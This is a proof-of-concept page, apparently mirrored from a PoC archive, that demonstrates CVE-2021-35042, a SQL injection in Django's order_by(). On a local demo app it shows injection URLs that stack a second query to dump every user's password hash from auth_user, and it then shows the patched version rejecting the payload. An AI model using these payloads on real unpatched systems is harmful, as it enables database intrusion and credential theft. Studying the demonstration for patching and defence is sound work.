关联漏洞
标题:
Django SQL注入漏洞
(CVE-2021-35042)
描述:Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 存在SQL注入漏洞,该漏洞源于未检测的用户输入传递给"QuerySet.order by()"可以在标记为弃用的路径中绕过预期的列引用验证,从而导致潜在的SQL注入。
介绍
# CVE-2021-35042
Django SQL injection bug
Question: explore how exploitable is it?
Answer: I'm terrified
## Install
`poetry install`
`poetry run ./manage.py migrate`
`poetry run ./manage.py loaddata dummydata.json`
## Interactive Demo
`poetry run ./manage.py runserver`
#### Ordering by random fields
go to http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22
note that the ?order_by param is passing a Raw SQL reference to a
column `"core_things_tags"."things_id"`
### terminate first query and try to run some sql
This feels like about as far as you can
get: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;--
which closes the first SQL query translates to the follow SQL:
```sql
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()
```
which fails with:
```
Warning at /
You can only execute one statement at a time.
```
this is just because sqlite can only run 1 query at a time
#### revisit running 2nd query with postgres
```bash
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server
```
`poetry run ./manage.py migrate`
`poetry run ./manage.py loaddata dummydata.json`
`poetry run ./manage.py createsuperuser` # follow prompts
visit: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--
which runs the following sql:
```sql
SELECT "core_things"."id",
"core_things"."name",
COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
"core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;
```
you can now do basically anything. This query steals the password hash for every
user.
### Upgrade to non-vunerable version
now temporarily upgrade django
`poetry shell`
`pip install Django==3.2.5`
revisit the above URL and note that it no longer works:
```
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
```
文件快照
[4.0K] /data/pocs/eccb6fa7b7ddff82fbe6cf4ac5607de3f5b13b7a
├── [ 387] dummydata.json
├── [ 623] manage.py
├── [4.0K] poc
│ ├── [4.0K] core
│ │ ├── [ 63] admin.py
│ │ ├── [ 87] apps.py
│ │ ├── [ 0] __init__.py
│ │ ├── [4.0K] migrations
│ │ │ ├── [ 645] 0001_initial.py
│ │ │ ├── [ 816] 0002_auto_20210923_2308.py
│ │ │ └── [ 0] __init__.py
│ │ ├── [ 185] models.py
│ │ ├── [4.0K] templates
│ │ │ ├── [ 105] index.html
│ │ │ └── [ 213] list.html
│ │ ├── [ 60] tests.py
│ │ └── [ 382] views.py
│ ├── [ 0] __init__.py
│ ├── [3.3K] settings.py
│ ├── [ 759] urls.py
│ └── [ 383] wsgi.py
├── [3.9K] poetry.lock
├── [ 373] pyproject.toml
└── [2.8K] README.md
4 directories, 20 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。